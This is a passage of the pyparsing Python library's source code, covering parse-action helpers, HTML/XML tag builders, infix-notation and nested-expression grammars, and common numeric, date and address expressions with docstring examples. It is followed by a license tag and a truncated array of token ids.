quotedString.setParseAction(removeQuotes)
quotedString.parseString("'Now is the Winter of our Discontent'") # -> ["Now is the Winter of our Discontent"]
"""
return t[0][1:-1]
def tokenMap(func, *args):
"""
Helper to define a parse action by mapping a function to all elements of a ParseResults list.If any additional
args are passed, they are forwarded to the given function as additional arguments after
the token, as in C{hex_integer = Word(hexnums).setParseAction(tokenMap(int, 16))}, which will convert the
parsed data to an integer using base 16.
Example (compare the last to example in L{ParserElement.transformString}::
hex_ints = OneOrMore(Word(hexnums)).setParseAction(tokenMap(int, 16))
hex_ints.runTests('''
00 11 22 aa FF 0a 0d 1a
''')
upperword = Word(alphas).setParseAction(tokenMap(str.upper))
OneOrMore(upperword).runTests('''
my kingdom for a horse
''')
wd = Word(alphas).setParseAction(tokenMap(str.title))
OneOrMore(wd).setParseAction(' '.join).runTests('''
now is the winter of our discontent made glorious summer by this sun of york
''')
prints::
00 11 22 aa FF 0a 0d 1a
[0, 17, 34, 170, 255, 10, 13, 26]
my kingdom for a horse
['MY', 'KINGDOM', 'FOR', 'A', 'HORSE']
now is the winter of our discontent made glorious summer by this sun of york
['Now Is The Winter Of Our Discontent Made Glorious Summer By This Sun Of York']
"""
def pa(s,l,t):
return [func(tokn, *args) for tokn in t]
try:
func_name = getattr(func, '__name__',
getattr(func, '__class__').__name__)
except Exception:
func_name = str(func)
pa.__name__ = func_name
return pa
upcaseTokens = tokenMap(lambda t: _ustr(t).upper())
"""(Deprecated) Helper parse action to convert tokens to upper case. Deprecated in favor of L{pyparsing_common.upcaseTokens}"""
downcaseTokens = tokenMap(lambda t: _ustr(t).lower())
"""(Deprecated) Helper parse action to convert tokens to lower case. Deprecated in favor of L{pyparsing_common.downcaseTokens}"""
def _makeTags(tagStr, xml):
"""Internal helper to construct opening and closing tag expressions, given a tag name"""
if isinstance(tagStr,basestring):
resname = tagStr
tagStr = Keyword(tagStr, caseless=not xml)
else:
resname = tagStr.name
tagAttrName = Word(alphas,alphanums+"_-:")
if (xml):
tagAttrValue = dblQuotedString.copy().setParseAction( removeQuotes )
openTag = Suppress("<") + tagStr("tag") + \
Dict(ZeroOrMore(Group( tagAttrName + Suppress("=") + tagAttrValue ))) + \
Optional("/",default=[False]).setResultsName("empty").setParseAction(lambda s,l,t:t[0]=='/') + Suppress(">")
else:
printablesLessRAbrack = "".join(c for c in printables if c not in ">")
tagAttrValue = quotedString.copy().setParseAction( removeQuotes ) | Word(printablesLessRAbrack)
openTag = Suppress("<") + tagStr("tag") + \
Dict(ZeroOrMore(Group( tagAttrName.setParseAction(downcaseTokens) + \
Optional( Suppress("=") + tagAttrValue ) ))) + \
Optional("/",default=[False]).setResultsName("empty").setParseAction(lambda s,l,t:t[0]=='/') + Suppress(">")
closeTag = Combine(_L("</") + tagStr + ">")
openTag = openTag.setResultsName("start"+"".join(resname.replace(":"," ").title().split())).setName("<%s>" % resname)
closeTag = closeTag.setResultsName("end"+"".join(resname.replace(":"," ").title().split())).setName("</%s>" % resname)
openTag.tag = resname
closeTag.tag = resname
return openTag, closeTag
def makeHTMLTags(tagStr):
"""
Helper to construct opening and closing tag expressions for HTML, given a tag name. Matches
tags in either upper or lower case, attributes with namespaces and with quoted or unquoted values.
Example::
text = '<td>More info at the <a href="http://pyparsing.wikispaces.com">pyparsing</a> wiki page</td>'
# makeHTMLTags returns pyparsing expressions for the opening and closing tags as a 2-tuple
a,a_end = makeHTMLTags("A")
link_expr = a + SkipTo(a_end)("link_text") + a_end
for link in link_expr.searchString(text):
# attributes in the <A> tag (like "href" shown here) are also accessible as named results
print(link.link_text, '->', link.href)
prints::
pyparsing -> http://pyparsing.wikispaces.com
"""
return _makeTags( tagStr, False )
def makeXMLTags(tagStr):
"""
Helper to construct opening and closing tag expressions for XML, given a tag name. Matches
tags only in the given upper/lower case.
Example: similar to L{makeHTMLTags}
"""
return _makeTags( tagStr, True )
def withAttribute(*args,**attrDict):
"""
Helper to create a validating parse action to be used with start tags created
with C{L{makeXMLTags}} or C{L{makeHTMLTags}}. Use C{withAttribute} to qualify a starting tag
with a required attribute value, to avoid false matches on common tags such as
C{<TD>} or C{<DIV>}.
Call C{withAttribute} with a series of attribute names and values. Specify the list
of filter attributes names and values as:
- keyword arguments, as in C{(align="right")}, or
- as an explicit dict with C{**} operator, when an attribute name is also a Python
reserved word, as in C{**{"class":"Customer", "align":"right"}}
- a list of name-value tuples, as in ( ("ns1:class", "Customer"), ("ns2:align","right") )
For attribute names with a namespace prefix, you must use the second form. Attribute
names are matched insensitive to upper/lower case.
If just testing for C{class} (with or without a namespace), use C{L{withClass}}.
To verify that the attribute exists, but without specifying a value, pass
C{withAttribute.ANY_VALUE} as the value.
Example::
html = '''
<div>
Some text
<div type="grid">1 4 0 1 0</div>
<div type="graph">1,3 2,3 1,1</div>
<div>this has no type</div>
</div>
'''
div,div_end = makeHTMLTags("div")
# only match div tag having a type attribute with value "grid"
div_grid = div().setParseAction(withAttribute(type="grid"))
grid_expr = div_grid + SkipTo(div | div_end)("body")
for grid_header in grid_expr.searchString(html):
print(grid_header.body)
# construct a match with any div tag having a type attribute, regardless of the value
div_any_type = div().setParseAction(withAttribute(type=withAttribute.ANY_VALUE))
div_expr = div_any_type + SkipTo(div | div_end)("body")
for div_header in div_expr.searchString(html):
print(div_header.body)
prints::
1 4 0 1 0
1 4 0 1 0
1,3 2,3 1,1
"""
if args:
attrs = args[:]
else:
attrs = attrDict.items()
attrs = [(k,v) for k,v in attrs]
def pa(s,l,tokens):
for attrName,attrValue in attrs:
if attrName not in tokens:
raise ParseException(s,l,"no matching attribute " + attrName)
if attrValue != withAttribute.ANY_VALUE and tokens[attrName] != attrValue:
raise ParseException(s,l,"attribute '%s' has value '%s', must be '%s'" %
(attrName, tokens[attrName], attrValue))
return pa
withAttribute.ANY_VALUE = object()
def withClass(classname, namespace=''):
"""
Simplified version of C{L{withAttribute}} when matching on a div class - made
difficult because C{class} is a reserved word in Python.
Example::
html = '''
<div>
Some text
<div class="grid">1 4 0 1 0</div>
<div class="graph">1,3 2,3 1,1</div>
<div>this <div> has no class</div>
</div>
'''
div,div_end = makeHTMLTags("div")
div_grid = div().setParseAction(withClass("grid"))
grid_expr = div_grid + SkipTo(div | div_end)("body")
for grid_header in grid_expr.searchString(html):
print(grid_header.body)
div_any_type = div().setParseAction(withClass(withAttribute.ANY_VALUE))
div_expr = div_any_type + SkipTo(div | div_end)("body")
for div_header in div_expr.searchString(html):
print(div_header.body)
prints::
1 4 0 1 0
1 4 0 1 0
1,3 2,3 1,1
"""
classattr = "%s:class" % namespace if namespace else "class"
return withAttribute(**{classattr : classname})
opAssoc = _Constants()
opAssoc.LEFT = object()
opAssoc.RIGHT = object()
def infixNotation( baseExpr, opList, lpar=Suppress('('), rpar=Suppress(')') ):
"""
Helper method for constructing grammars of expressions made up of
operators working in a precedence hierarchy. Operators may be unary or
binary, left- or right-associative. Parse actions can also be attached
to operator expressions. The generated parser will also recognize the use
of parentheses to override operator precedences (see example below).
Note: if you define a deep operator list, you may see performance issues
when using infixNotation. See L{ParserElement.enablePackrat} for a
mechanism to potentially improve your parser performance.
Parameters:
- baseExpr - expression representing the most basic element for the nested
- opList - list of tuples, one for each operator precedence level in the
expression grammar; each tuple is of the form
(opExpr, numTerms, rightLeftAssoc, parseAction), where:
- opExpr is the pyparsing expression for the operator;
may also be a string, which will be converted to a Literal;
if numTerms is 3, opExpr is a tuple of two expressions, for the
two operators separating the 3 terms
- numTerms is the number of terms for this operator (must
be 1, 2, or 3)
- rightLeftAssoc is the indicator whether the operator is
right or left associative, using the pyparsing-defined
constants C{opAssoc.RIGHT} and C{opAssoc.LEFT}.
- parseAction is the parse action to be associated with
expressions matching this operator expression (the
parse action tuple member may be omitted)
- lpar - expression for matching left-parentheses (default=C{Suppress('(')})
- rpar - expression for matching right-parentheses (default=C{Suppress(')')})
Example::
# simple example of four-function arithmetic with ints and variable names
integer = pyparsing_common.signed_integer
varname = pyparsing_common.identifier
arith_expr = infixNotation(integer | varname,
[
('-', 1, opAssoc.RIGHT),
(oneOf('* /'), 2, opAssoc.LEFT),
(oneOf('+ -'), 2, opAssoc.LEFT),
])
arith_expr.runTests('''
5+3*6
(5+3)*6
-2--11
''', fullDump=False)
prints::
5+3*6
[[5, '+', [3, '*', 6]]]
(5+3)*6
[[[5, '+', 3], '*', 6]]
-2--11
[[['-', 2], '-', ['-', 11]]]
"""
ret = Forward()
lastExpr = baseExpr | ( lpar + ret + rpar )
for i,operDef in enumerate(opList):
opExpr,arity,rightLeftAssoc,pa = (operDef + (None,))[:4]
termName = "%s term" % opExpr if arity < 3 else "%s%s term" % opExpr
if arity == 3:
if opExpr is None or len(opExpr) != 2:
raise ValueError("if numterms=3, opExpr must be a tuple or list of two expressions")
opExpr1, opExpr2 = opExpr
thisExpr = Forward().setName(termName)
if rightLeftAssoc == opAssoc.LEFT:
if arity == 1:
matchExpr = FollowedBy(lastExpr + opExpr) + Group( lastExpr + OneOrMore( opExpr ) )
elif arity == 2:
if opExpr is not None:
matchExpr = FollowedBy(lastExpr + opExpr + lastExpr) + Group( lastExpr + OneOrMore( opExpr + lastExpr ) )
else:
matchExpr = FollowedBy(lastExpr+lastExpr) + Group( lastExpr + OneOrMore(lastExpr) )
elif arity == 3:
matchExpr = FollowedBy(lastExpr + opExpr1 + lastExpr + opExpr2 + lastExpr) + \
Group( lastExpr + opExpr1 + lastExpr + opExpr2 + lastExpr )
else:
raise ValueError("operator must be unary (1), binary (2), or ternary (3)")
elif rightLeftAssoc == opAssoc.RIGHT:
if arity == 1:
# try to avoid LR with this extra test
if not isinstance(opExpr, Optional):
opExpr = Optional(opExpr)
matchExpr = FollowedBy(opExpr.expr + thisExpr) + Group( opExpr + thisExpr )
elif arity == 2:
if opExpr is not None:
matchExpr = FollowedBy(lastExpr + opExpr + thisExpr) + Group( lastExpr + OneOrMore( opExpr + thisExpr ) )
else:
matchExpr = FollowedBy(lastExpr + thisExpr) + Group( lastExpr + OneOrMore( thisExpr ) )
elif arity == 3:
matchExpr = FollowedBy(lastExpr + opExpr1 + thisExpr + opExpr2 + thisExpr) + \
Group( lastExpr + opExpr1 + thisExpr + opExpr2 + thisExpr )
else:
raise ValueError("operator must be unary (1), binary (2), or ternary (3)")
else:
raise ValueError("operator must indicate right or left associativity")
if pa:
matchExpr.setParseAction( pa )
thisExpr <<= ( matchExpr.setName(termName) | lastExpr )
lastExpr = thisExpr
ret <<= lastExpr
return ret
operatorPrecedence = infixNotation
"""(Deprecated) Former name of C{L{infixNotation}}, will be dropped in a future release."""
dblQuotedString = Combine(Regex(r'"(?:[^"\n\r\\]|(?:"")|(?:\\(?:[^x]|x[0-9a-fA-F]+)))*')+'"').setName("string enclosed in double quotes")
sglQuotedString = Combine(Regex(r"'(?:[^'\n\r\\]|(?:'')|(?:\\(?:[^x]|x[0-9a-fA-F]+)))*")+"'").setName("string enclosed in single quotes")
quotedString = Combine(Regex(r'"(?:[^"\n\r\\]|(?:"")|(?:\\(?:[^x]|x[0-9a-fA-F]+)))*')+'"'|
Regex(r"'(?:[^'\n\r\\]|(?:'')|(?:\\(?:[^x]|x[0-9a-fA-F]+)))*")+"'").setName("quotedString using single or double quotes")
unicodeString = Combine(_L('u') + quotedString.copy()).setName("unicode string literal")
def nestedExpr(opener="(", closer=")", content=None, ignoreExpr=quotedString.copy()):
"""
Helper method for defining nested lists enclosed in opening and closing
delimiters ("(" and ")" are the default).
Parameters:
- opener - opening character for a nested list (default=C{"("}); can also be a pyparsing expression
- closer - closing character for a nested list (default=C{")"}); can also be a pyparsing expression
- content - expression for items within the nested lists (default=C{None})
- ignoreExpr - expression for ignoring opening and closing delimiters (default=C{quotedString})
If an expression is not provided for the content argument, the nested
expression will capture all whitespace-delimited content between delimiters
as a list of separate values.
Use the C{ignoreExpr} argument to define expressions that may contain
opening or closing characters that should not be treated as opening
or closing characters for nesting, such as quotedString or a comment
expression. Specify multiple expressions using an C{L{Or}} or C{L{MatchFirst}}.
The default is L{quotedString}, but if no expressions are to be ignored,
then pass C{None} for this argument.
Example::
data_type = oneOf("void int short long char float double")
decl_data_type = Combine(data_type + Optional(Word('*')))
ident = Word(alphas+'_', alphanums+'_')
number = pyparsing_common.number
arg = Group(decl_data_type + ident)
LPAR,RPAR = map(Suppress, "()")
code_body = nestedExpr('{', '}', ignoreExpr=(quotedString | cStyleComment))
c_function = (decl_data_type("type")
+ ident("name")
+ LPAR + Optional(delimitedList(arg), [])("args") + RPAR
+ code_body("body"))
c_function.ignore(cStyleComment)
source_code = '''
int is_odd(int x) {
return (x%2);
}
int dec_to_hex(char hchar) {
if (hchar >= '0' && hchar <= '9') {
return (ord(hchar)-ord('0'));
} else {
return (10+ord(hchar)-ord('A'));
}
}
'''
for func in c_function.searchString(source_code):
print("%(name)s (%(type)s) args: %(args)s" % func)
prints::
is_odd (int) args: [['int', 'x']]
dec_to_hex (int) args: [['char', 'hchar']]
"""
if opener == closer:
raise ValueError("opening and closing strings cannot be the same")
if content is None:
if isinstance(opener,basestring) and isinstance(closer,basestring):
if len(opener) == 1 and len(closer)==1:
if ignoreExpr is not None:
content = (Combine(OneOrMore(~ignoreExpr +
CharsNotIn(opener+closer+ParserElement.DEFAULT_WHITE_CHARS,exact=1))
).setParseAction(lambda t:t[0].strip()))
else:
content = (empty.copy()+CharsNotIn(opener+closer+ParserElement.DEFAULT_WHITE_CHARS
).setParseAction(lambda t:t[0].strip()))
else:
if ignoreExpr is not None:
content = (Combine(OneOrMore(~ignoreExpr +
~Literal(opener) + ~Literal(closer) +
CharsNotIn(ParserElement.DEFAULT_WHITE_CHARS,exact=1))
).setParseAction(lambda t:t[0].strip()))
else:
content = (Combine(OneOrMore(~Literal(opener) + ~Literal(closer) +
CharsNotIn(ParserElement.DEFAULT_WHITE_CHARS,exact=1))
).setParseAction(lambda t:t[0].strip()))
else:
raise ValueError("opening and closing arguments must be strings if no content expression is given")
ret = Forward()
if ignoreExpr is not None:
ret <<= Group( Suppress(opener) + ZeroOrMore( ignoreExpr | ret | content ) + Suppress(closer) )
else:
ret <<= Group( Suppress(opener) + ZeroOrMore( ret | content ) + Suppress(closer) )
ret.setName('nested %s%s expression' % (opener,closer))
return ret
def indentedBlock(blockStatementExpr, indentStack, indent=True):
"""
Helper method for defining space-delimited indentation blocks, such as
those used to define block statements in Python source code.
Parameters:
- blockStatementExpr - expression defining syntax of statement that
is repeated within the indented block
- indentStack - list created by caller to manage indentation stack
(multiple statementWithIndentedBlock expressions within a single grammar
should share a common indentStack)
- indent - boolean indicating whether block must be indented beyond the
the current level; set to False for block of left-most statements
(default=C{True})
A valid block must contain at least one C{blockStatement}.
Example::
data = '''
def A(z):
A1
B = 100
G = A2
A2
A3
B
def BB(a,b,c):
BB1
def BBA():
bba1
bba2
bba3
C
D
def spam(x,y):
def eggs(z):
pass
'''
indentStack = [1]
stmt = Forward()
identifier = Word(alphas, alphanums)
funcDecl = ("def" + identifier + Group( "(" + Optional( delimitedList(identifier) ) + ")" ) + ":")
func_body = indentedBlock(stmt, indentStack)
funcDef = Group( funcDecl + func_body )
rvalue = Forward()
funcCall = Group(identifier + "(" + Optional(delimitedList(rvalue)) + ")")
rvalue << (funcCall | identifier | Word(nums))
assignment = Group(identifier + "=" + rvalue)
stmt << ( funcDef | assignment | identifier )
module_body = OneOrMore(stmt)
parseTree = module_body.parseString(data)
parseTree.pprint()
prints::
[['def',
'A',
['(', 'z', ')'],
':',
[['A1'], [['B', '=', '100']], [['G', '=', 'A2']], ['A2'], ['A3']]],
'B',
['def',
'BB',
['(', 'a', 'b', 'c', ')'],
':',
[['BB1'], [['def', 'BBA', ['(', ')'], ':', [['bba1'], ['bba2'], ['bba3']]]]]],
'C',
'D',
['def',
'spam',
['(', 'x', 'y', ')'],
':',
[[['def', 'eggs', ['(', 'z', ')'], ':', [['pass']]]]]]]
"""
def checkPeerIndent(s,l,t):
if l >= len(s): return
curCol = col(l,s)
if curCol != indentStack[-1]:
if curCol > indentStack[-1]:
raise ParseFatalException(s,l,"illegal nesting")
raise ParseException(s,l,"not a peer entry")
def checkSubIndent(s,l,t):
curCol = col(l,s)
if curCol > indentStack[-1]:
indentStack.append( curCol )
else:
raise ParseException(s,l,"not a subentry")
def checkUnindent(s,l,t):
if l >= len(s): return
curCol = col(l,s)
if not(indentStack and curCol < indentStack[-1] and curCol <= indentStack[-2]):
raise ParseException(s,l,"not an unindent")
indentStack.pop()
NL = OneOrMore(LineEnd().setWhitespaceChars("\t ").suppress())
INDENT = (Empty() + Empty().setParseAction(checkSubIndent)).setName('INDENT')
PEER = Empty().setParseAction(checkPeerIndent).setName('')
UNDENT = Empty().setParseAction(checkUnindent).setName('UNINDENT')
if indent:
smExpr = Group( Optional(NL) +
#~ FollowedBy(blockStatementExpr) +
INDENT + (OneOrMore( PEER + Group(blockStatementExpr) + Optional(NL) )) + UNDENT)
else:
smExpr = Group( Optional(NL) +
(OneOrMore( PEER + Group(blockStatementExpr) + Optional(NL) )) )
blockStatementExpr.ignore(_bslash + LineEnd())
return smExpr.setName('indented block')
alphas8bit = srange(r"[\0xc0-\0xd6\0xd8-\0xf6\0xf8-\0xff]")
punc8bit = srange(r"[\0xa1-\0xbf\0xd7\0xf7]")
anyOpenTag,anyCloseTag = makeHTMLTags(Word(alphas,alphanums+"_:").setName('any tag'))
_htmlEntityMap = dict(zip("gt lt amp nbsp quot apos".split(),'><& "\''))
commonHTMLEntity = Regex('&(?P<entity>' + '|'.join(_htmlEntityMap.keys()) +");").setName("common HTML entity")
def replaceHTMLEntity(t):
"""Helper parser action to replace common HTML entities with their special characters"""
return _htmlEntityMap.get(t.entity)
# it's easy to get these comment structures wrong - they're very common, so may as well make them available
cStyleComment = Combine(Regex(r"/\*(?:[^*]|\*(?!/))*") + '*/').setName("C style comment")
"Comment of the form C{/* ... */}"
htmlComment = Regex(r"<!--[\s\S]*?-->").setName("HTML comment")
"Comment of the form C{<!-- ... -->}"
restOfLine = Regex(r".*").leaveWhitespace().setName("rest of line")
dblSlashComment = Regex(r"//(?:\\\n|[^\n])*").setName("// comment")
"Comment of the form C{// ... (to end of line)}"
cppStyleComment = Combine(Regex(r"/\*(?:[^*]|\*(?!/))*") + '*/'| dblSlashComment).setName("C++ style comment")
"Comment of either form C{L{cStyleComment}} or C{L{dblSlashComment}}"
javaStyleComment = cppStyleComment
"Same as C{L{cppStyleComment}}"
pythonStyleComment = Regex(r"#.*").setName("Python style comment")
"Comment of the form C{# ... (to end of line)}"
_commasepitem = Combine(OneOrMore(Word(printables, excludeChars=',') +
Optional( Word(" \t") +
~Literal(",") + ~LineEnd() ) ) ).streamline().setName("commaItem")
commaSeparatedList = delimitedList( Optional( quotedString.copy() | _commasepitem, default="") ).setName("commaSeparatedList")
"""(Deprecated) Predefined expression of 1 or more printable words or quoted strings, separated by commas.
This expression is deprecated in favor of L{pyparsing_common.comma_separated_list}."""
# some other useful expressions - using lower-case class name since we are really using this as a namespace
class pyparsing_common:
"""
Here are some common low-level expressions that may be useful in jump-starting parser development:
- numeric forms (L{integers<integer>}, L{reals<real>}, L{scientific notation<sci_real>})
- common L{programming identifiers<identifier>}
- network addresses (L{MAC<mac_address>}, L{IPv4<ipv4_address>}, L{IPv6<ipv6_address>})
- ISO8601 L{dates<iso8601_date>} and L{datetime<iso8601_datetime>}
- L{UUID<uuid>}
- L{comma-separated list<comma_separated_list>}
Parse actions:
- C{L{convertToInteger}}
- C{L{convertToFloat}}
- C{L{convertToDate}}
- C{L{convertToDatetime}}
- C{L{stripHTMLTags}}
- C{L{upcaseTokens}}
- C{L{downcaseTokens}}
Example::
pyparsing_common.number.runTests('''
# any int or real number, returned as the appropriate type
100
-100
+100
3.14159
6.02e23
1e-12
''')
pyparsing_common.fnumber.runTests('''
# any int or real number, returned as float
100
-100
+100
3.14159
6.02e23
1e-12
''')
pyparsing_common.hex_integer.runTests('''
# hex numbers
100
FF
''')
pyparsing_common.fraction.runTests('''
# fractions
1/2
-3/4
''')
pyparsing_common.mixed_integer.runTests('''
# mixed fractions
1
1/2
-3/4
1-3/4
''')
import uuid
pyparsing_common.uuid.setParseAction(tokenMap(uuid.UUID))
pyparsing_common.uuid.runTests('''
# uuid
12345678-1234-5678-1234-567812345678
''')
prints::
# any int or real number, returned as the appropriate type
100
[100]
-100
[-100]
+100
[100]
3.14159
[3.14159]
6.02e23
[6.02e+23]
1e-12
[1e-12]
# any int or real number, returned as float
100
[100.0]
-100
[-100.0]
+100
[100.0]
3.14159
[3.14159]
6.02e23
[6.02e+23]
1e-12
[1e-12]
# hex numbers
100
[256]
FF
[255]
# fractions
1/2
[0.5]
-3/4
[-0.75]
# mixed fractions
1
[1]
1/2
[0.5]
-3/4
[-0.75]
1-3/4
[1.75]
# uuid
12345678-1234-5678-1234-567812345678
[UUID('12345678-1234-5678-1234-567812345678')]
"""
convertToInteger = tokenMap(int)
"""
Parse action for converting parsed integers to Python int
"""
convertToFloat = tokenMap(float)
"""
Parse action for converting parsed numbers to Python float
"""
integer = Word(nums).setName("integer").setParseAction(convertToInteger)
"""expression that parses an unsigned integer, returns an int"""
hex_integer = Word(hexnums).setName("hex integer").setParseAction(tokenMap(int,16))
"""expression that parses a hexadecimal integer, returns an int"""
signed_integer = Regex(r'[+-]?\d+').setName("signed integer").setParseAction(convertToInteger)
"""expression that parses an integer with optional leading sign, returns an int"""
fraction = (signed_integer().setParseAction(convertToFloat) + '/' + signed_integer().setParseAction(convertToFloat)).setName("fraction")
"""fractional expression of an integer divided by an integer, returns a float"""
fraction.addParseAction(lambda t: t[0]/t[-1])
mixed_integer = (fraction | signed_integer + Optional(Optional('-').suppress() + fraction)).setName("fraction or mixed integer-fraction")
"""mixed integer of the form 'integer - fraction', with optional leading integer, returns float"""
mixed_integer.addParseAction(sum)
real = Regex(r'[+-]?\d+\.\d*').setName("real number").setParseAction(convertToFloat)
"""expression that parses a floating point number and returns a float"""
sci_real = Regex(r'[+-]?\d+([eE][+-]?\d+|\.\d*([eE][+-]?\d+)?)').setName("real number with scientific notation").setParseAction(convertToFloat)
"""expression that parses a floating point number with optional scientific notation and returns a float"""
# streamlining this expression makes the docs nicer-looking
number = (sci_real | real | signed_integer).streamline()
"""any numeric expression, returns the corresponding Python type"""
fnumber = Regex(r'[+-]?\d+\.?\d*([eE][+-]?\d+)?').setName("fnumber").setParseAction(convertToFloat)
"""any int or real number, returned as float"""
identifier = Word(alphas+'_', alphanums+'_').setName("identifier")
"""typical code identifier (leading alpha or '_', followed by 0 or more alphas, nums, or '_')"""
ipv4_address = Regex(r'(25[0-5]|2[0-4][0-9]|1?[0-9]{1,2})(\.(25[0-5]|2[0-4][0-9]|1?[0-9]{1,2})){3}').setName("IPv4 address")
"IPv4 address (C{0.0.0.0 - 255.255.255.255})"
_ipv6_part = Regex(r'[0-9a-fA-F]{1,4}').setName("hex_integer")
_full_ipv6_address = (_ipv6_part + (':' + _ipv6_part)*7).setName("full IPv6 address")
_short_ipv6_address = (Optional(_ipv6_part + (':' + _ipv6_part)*(0,6)) + "::" + Optional(_ipv6_part + (':' + _ipv6_part)*(0,6))).setName("short IPv6 address")
_short_ipv6_address.addCondition(lambda t: sum(1 for tt in t if pyparsing_common._ipv6_part.matches(tt)) < 8)
_mixed_ipv6_address = ("::ffff:" + ipv4_address).setName("mixed IPv6 address")
ipv6_address = Combine((_full_ipv6_address | _mixed_ipv6_address | _short_ipv6_address).setName("IPv6 address")).setName("IPv6 address")
"IPv6 address (long, short, or mixed form)"
mac_address = Regex(r'[0-9a-fA-F]{2}([:.-])[0-9a-fA-F]{2}(?:\1[0-9a-fA-F]{2}){4}').setName("MAC address")
"MAC address xx:xx:xx:xx:xx (may also have '-' or '.' delimiters)"
@staticmethod
def convertToDate(fmt="%Y-%m-%d"):
"""
Helper to create a parse action for converting parsed date string to Python datetime.date
Params -
- fmt - format to be passed to datetime.strptime (default=C{"%Y-%m-%d"})
Example::
date_expr = pyparsing_common.iso8601_date.copy()
date_expr.setParseAction(pyparsing_common.convertToDate())
print(date_expr.parseString("1999-12-31"))
prints::
[datetime.date(1999, 12, 31)]
"""
def cvt_fn(s,l,t):
try:
return datetime.strptime(t[0], fmt).date()
except ValueError as ve:
raise ParseException(s, l, str(ve))
return cvt_fn
@staticmethod
def convertToDatetime(fmt="%Y-%m-%dT%H:%M:%S.%f"):
"""
Helper to create a parse action for converting parsed datetime string to Python datetime.datetime
Params -
- fmt - format to be passed to datetime.strptime (default=C{"%Y-%m-%dT%H:%M:%S.%f"})
Example::
dt_expr = pyparsing_common.iso8601_datetime.copy()
dt_expr.setParseAction(pyparsing_common.convertToDatetime())
print(dt_expr.parseString("1999-12-31T23:59:59.999"))
prints::
[datetime.datetime(1999, 12, 31, 23, 59, 59, 999000)]
"""
def cvt_fn(s,l,t):
try:
return datetime.strptime(t[0], fmt)
except ValueError as ve:
raise ParseException(s, l, str(ve))
return cvt_fn
iso8601_date = Regex(r'(?P<year>\d{4})(?:-(?P<month>\d\d)(?:-(?P<day>\d\d))?)?').setName("ISO8601 date")
"ISO8601 date (C{yyyy-mm-dd})"
iso8601_datetime = Regex(r'(?P<year>\d{4})-(?P<month>\d\d)-(?P<day>\d\d)[T ](?P<hour>\d\d):(?P<minute>\d\d)(:(?P<second>\d\d(\.\d*)?)?)?(?P<tz>Z|[+-]\d\d:?\d\d)?').setName("ISO8601 datetime")
"ISO8601 datetime (C{yyyy-mm-ddThh:mm:ss.s(Z|+-00:00)}) - trailing seconds, milliseconds, and timezone optional; accepts separating C{'T'} or C{' '}"
uuid = Regex(r'[0-9a-fA-F]{8}(-[0-9a-fA-F]{4}){3}-[0-9a-fA-F]{12}').setName("UUID")
"UUID (C{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx})"
_html_stripper = anyOpenTag.suppress() | anyCloseTag.suppress()
@staticmethod
def stripHTMLTags(s, l, tokens):
"""
Parse action to remove HTML tags from web page HTML source
Example::
# strip HTML links from normal text
text = '<td>More info at the <a href="http://pyparsing.wikispaces.com">pyparsing</a> wiki page</td>'
td,td_end = makeHTMLTags("TD")
table_text = td + SkipTo(td_end).setParseAction(pyparsing_common.stripHTMLTags)("body") + td_end
print(table_text.parseString(text).body) # -> 'More info at the pyparsing wiki page'
"""
return pyparsing_common._html_stripper.transformString(tokens[0])
_commasepitem = Combine(OneOrMore(~Literal(",") + ~LineEnd() + Word(printables, excludeChars=',')
+ Optional( White(" \t") ) ) ).streamline().setName("commaItem")
comma_separated_list = delimitedList( Optional( quotedString.copy() | _commasepitem, default="") ).setName("comma separated list")
"""Predefined expression of 1 or more printable words or quoted strings, separated by commas."""
upcaseTokens = staticmethod(tokenMap(lambda t: _ustr(t).upper()))
"""Parse action to convert tokens to upper case."""
downcaseTokens = staticmethod(tokenMap(lambda t: _ustr(t).lower()))
"""Parse action to convert tokens to lower case."""
if __name__ == "__main__":
selectToken = CaselessLiteral("select")
fromToken = CaselessLiteral("from")
ident = Word(alphas, alphanums + "_$")
columnName = delimitedList(ident, ".", combine=True).setParseAction(upcaseTokens)
columnNameList = Group(delimitedList(columnName)).setName("columns")
columnSpec = ('*' | columnNameList)
tableName = delimitedList(ident, ".", combine=True).setParseAction(upcaseTokens)
tableNameList = Group(delimitedList(tableName)).setName("tables")
simpleSQL = selectToken("command") + columnSpec("columns") + fromToken + tableNameList("tables")
# demo runTests method, including embedded comments in test string
simpleSQL.runTests("""
# '*' as column list and dotted table name
select * from SYS.XYZZY
# caseless match on "SELECT", and casts back to "select"
SELECT * from XYZZY, ABC
# list of column names, and mixed case SELECT keyword
Select AA,BB,CC from Sys.dual
# multiple tables
Select A, B, C from Sys.dual, Table2
# invalid SELECT keyword - should fail
Xelect A, B, C from Sys.dual
# incomplete command - should fail
Select
# invalid column name - should fail
Select ^^^ frox Sys.dual
""")
pyparsing_common.number.runTests("""
100
-100
+100
3.14159
6.02e23
1e-12
""")
# any int or real number, returned as float
pyparsing_common.fnumber.runTests("""
100
-100
+100
3.14159
6.02e23
1e-12
""")
pyparsing_common.hex_integer.runTests("""
100
FF
""")
import uuid
pyparsing_common.uuid.setParseAction(tokenMap(uuid.UUID))
pyparsing_common.uuid.runTests("""
12345678-1234-5678-1234-567812345678
""")
|
apache-2.0
|
[
3,
859,
23943,
14,
647,
199,
3,
199,
3,
1898,
334,
67,
9,
13004,
13,
9261,
221,
28574,
377,
14,
22895,
4324,
264,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
199,
3,
282,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
199,
3,
298,
10337,
1288,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
199,
3,
1928,
12305,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
199,
3,
11207,
12,
13473,
12,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
199,
3,
11291,
12103,
370,
12676,
314,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
199,
3,
314,
2569,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
199,
3,
5120,
315,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
3826,
12,
199,
3,
7168,
1549,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
2990,
1634,
199,
3,
3169,
12,
3092,
2381,
437,
3115,
3104,
2401,
13229,
14,
199,
3,
1621,
4825,
6461,
7000,
2334,
10610,
1549,
5877,
8164,
6262,
7024,
2381,
1821,
199,
3,
